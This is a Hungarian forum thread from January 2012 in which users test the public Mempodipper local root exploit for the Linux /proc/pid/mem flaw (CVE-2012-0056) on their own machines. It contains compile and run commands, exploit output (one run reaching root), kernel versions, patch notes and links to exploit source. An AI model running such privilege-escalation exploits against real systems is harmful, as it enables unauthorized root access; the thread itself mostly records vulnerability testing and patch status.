Fetched 35.6 MB in 56s (634 kB/s)                                                                                             
debconf: unable to initialize frontend: Dialog
debconf: (TERM is not set, so the dialog frontend is not usable.)
debconf: falling back to frontend: Readline
dpkg: error: error: PATH is not set.
E: Sub-process /usr/bin/dpkg returned an error code (2)

hmm...

szerk.: ja hogy már javították? vagy most összezavarodtam.

( sh4d0w808 | 2012. 01. 23., h – 16:03 )

Ubuntu 10.04 x86 és Linux Mint 11 x86_64 nálam nem sebezhető.

-------------------------
Trust is a weakness...

bri:~$ gcc mempodipper.c -o mempodipper

bri:~$ who am i
bri      pts/1        2012-01-23 20:43 (:0.0)

bri:~$ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2214/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049ae0.
[+] Calculating su padding.
[+] Seeking to offset 0x8049ad4.
[+] Executing su with shellcode.

bri:~$ who am i
bri      pts/1        2012-01-23 20:43 (:0.0)

bri:~$ uname -sr
Linux 3.0.0-15-generic

bri:~$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04.3 LTS"

durva, mi?

( bAndie9100 | 2012. 01. 23., h – 17:13 )

andras@handras:~$ uname -a
Linux handras 2.6.32-34-generic #77-Ubuntu SMP Tue Sep 13 19:40:53 UTC 2011 i686 GNU/Linux
andras@handras:~$ id -u
1000
andras@handras:~$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/17626/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049ae0.
[+] Calculating su padding.
[+] Seeking to offset 0x8049ad4.
[+] Executing su with shellcode.
andras@handras:1:~$ id -u
1000

:D

~~~~~~~~
http://www.youtube.com/watch?v=VbUVqODL1nE

( uid_6201 v | 2012. 01. 23., h – 19:07 )

Slackware 13.37 + általam fordított Linux version 3.2.1 - nem hatásos, maradtam user.

( answ | 2012. 01. 23., h – 20:24 )

Linux andraspc 3.1.9-1.fc16.i686.PAE #1 SMP Fri Jan 13 16:57:54 UTC 2012 i686 i686 i386 GNU/Linux

Az exploit nem működik nekem.

SZERK1: https://access.redhat.com/kb/docs/DOC-69129
E szerint nálam azért nem működik, mert aktív az ASLR. Viszont test.c (https://bugzilla.redhat.com/attachment.cgi?id=556461) jelzi hogy sérülékeny a rendszerem.

SZERK2: Kikapcsolva az ASLR-t sem működik az exploit.

SZERK3: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c?h=fedora viszont root jogot ad.. :(

( Zokomov | 2012. 01. 23., h – 19:27 )

Ez legalább egyszerűvé teheti a smartphoneom rootolását amikor lesz hozzá Android 4.0. 


[zokomov]$ uname -srm
Linux 3.2.1-3-ck i686


[zokomov]$ ./really_correct_proc_mem_reproducer
vulnerable


[zokomov]$ whoami
zokomov
[zokomov]$ ./mempodipper
[zokomov]$ whoami
zokomov

( chipesz | 2012. 01. 23., h – 19:51 )

Ubuntu 11.10 alatt egy frissités úgy néz ki megoldja dolgot. A 3.0.0-15-generic kernellel már nem megy.

( oykawa | 2012. 01. 23., h – 20:32 )

oykawa@Edward:~$ uname -a
Linux Edward 3.2.1 #1 SMP Fri Jan 13 18:40:20 CET 2012 i686 GNU/Linux
oykawa@Edward:~$ who
who whoami whodepends whois who-uploads
oykawa@Edward:~$ whoami
oykawa
oykawa@Edward:~$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/493/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049a44.
[+] Calculating su padding.
[+] Seeking to offset 0x8049a2c.
[+] Executing su with shellcode.
# whoami
root

Oykawa Hirohito

( calamari | 2012. 01. 23., h – 20:46 )

Ubuntu 11.10-ben úgy nézem javítottak valamit, bár biztos írta már valaki: 


Changes for the versions:
Installed version: 3.0.0-15.25
Available version: 3.0.0-15.26

Version 3.0.0-15.26: 

  [ Upstream Kernel Changes ]

  * Revert "proc: enable writing to /proc/pid/mem"
    - LP: #919115
    - CVE-2012-0056

( Friczy v | 2012. 01. 23., h – 20:50 )

3.2.1-2-ARCH #1 SMP PREEMPT Mon Jan 23 12:40:01 UTC 2012 x86_64

Itt nem működik.

( numen v | 2012. 01. 23., h – 21:13 )

Nyugtassatok meg, hogy csak azért postolja ki mindenki a kimenetét, hogy hatékonyabb legyen a szerveroldali gzip tömörítés… :-)

int getRandomNumber() { return 4; }  // ← aláírás
//szabályos kockadobással választva. garantáltan véletlenszerű.  xkcd

( turul16 v | 2012. 01. 24., k – 17:41 )

CVE bejegyzes 2011.11.07 ota letezik "assigned" statuszban.
Bugzillaban nehany oraval a commit utan jelent meg 2012-01-17 21:34 EST-kor .
Vajon miota tudott rola a RedHat es miota Linus ?

Amit nem lehet megirni assemblyben, azt nem lehet megirni.

( vector | 2012. 01. 24., k – 19:30 )

Nálunk sem megy:

[[ vector@core2 : ~/tmp ]]$ uname -a
Linux core2.blackpanther.hu 2.6.38.2-desktop-1bP #1 SMP Tue Apr 12 17:40:36 BST 2011 i686 i686 i386 GNU/Linux
[[ vector@core2 : ~/tmp ]]$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x80493d0.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/32087/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x80493c2.
[+] Executing su with shellcode.
[[ vector@core2 : ~/tmp ]]$ wh
whatis whereis which which-python while who whoami
[[ vector@core2 : ~/tmp ]]$ who
who whoami
[[ vector@core2 : ~/tmp ]]$ whoami
vector
[[ vector@core2 : ~/tmp ]]$

[vector@no1 vector]$ uname -a
Linux no1.blackpanther.hu 2.6.30.4-security #1 SMP Tue Aug 18 11:11:09 CEST 2009 i686 Pentium(R) Dual-Core CPU E5200 @ 2.50GHz GNU/Linux
[vector@no1 vector]$
[vector@no1 vector]$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x80492d0.
[+] Opening socketpair.
[+] Executing child from child fork.
[+] Waiting for transferred fd in parent.
[+] Opening parent mem /proc/22263/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x80492c2.
[+] Executing su with shellcode.
[vector@no1 vector]$ whoami
vector
[vector@no1 vector]$

-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

Na de ezen sem megy szerencsére.

[[ vector@core2 : ~ ]]$ uname -a
Linux core2.blackpanther.hu 3.1.1-1.1-desktop #1 SMP Thu Nov 24 00:03:58 GMT 2011 i686 i686 i386 GNU/Linux
[[ vector@core2 : ~/tmp ]]$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x80493d0.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/8425/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x80493c2.
[+] Executing su with shellcode.

aztán a promtot sem kapom vissza, itt csak álldogál és semmi nem történik....

-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

Nem feltétlenül.. Általában az ember mérlegel, hogy próbáljam vagy ne, ha lefut majd utazok és telepítést stb. De nekem a szerver egy karnyújtásnyira van kb. Illetve 1 emelet választ el tőle. Szóval a biztonság volt szem előtt.

-------------------------------------------------------------------------------------------
Mit használok? Na, na, na? Hát blackPanther OS v11.1-et * www.blackpanther.hu

Azért azt érdemes hozzátenni, hogy egy kernel exploit lefuttatásának éles rendszeren van némi rizikója. Itt mondjuk nem olyan vészes, mert a 'magic' userlandben történik, de sokszor ahhoz, hogy exploitálhass egy kernelhibát, szét kell barmolni néhány kernelstruktúrát (idt, slab cache, inode-ok, stb.) amit az exploit sikeres lefutása esetén megpróbálnak visszaállítani, de egy POC exploit esetén, ezek a részek nem feltétlen vannak megírva, hiszen nem az a lényeg. Szóval elképzelhető, hogy maradnak az exploit futása után (főleg ha sikertelen és kilép valahol félúton) a memóriában olyan invalid struktúrák, nem elengedett lock-ok, amik akár adatvesztéshez vagy későbbi crash-hez vezetnek.

Mondjuk én is élesben futtattam :-)

( zitev v | 2012. 01. 28., szo – 00:25 )

Linux debian 3.2.0-1-686-pae #1 SMP Thu Jan 19 10:56:51 UTC 2012 i686 GNU/Linux

dettó

( mark7 | 2012. 01. 28., szo – 02:49 )

Hello

Valaki beirná a parancsokat?
Trey beírt 3 at de a többit nem(igaz a 3.-nál már root volt)
Sajnos a 10 éves LG CRT monitorommal max 100% fényerőnél is kb semmit se látok a videobol

kösz

ps:Ez csak szervernél működik?
Nekem "csak" Debian 5.0 64 bit van (várom a 7-es verziót,az a szerencseszámom:)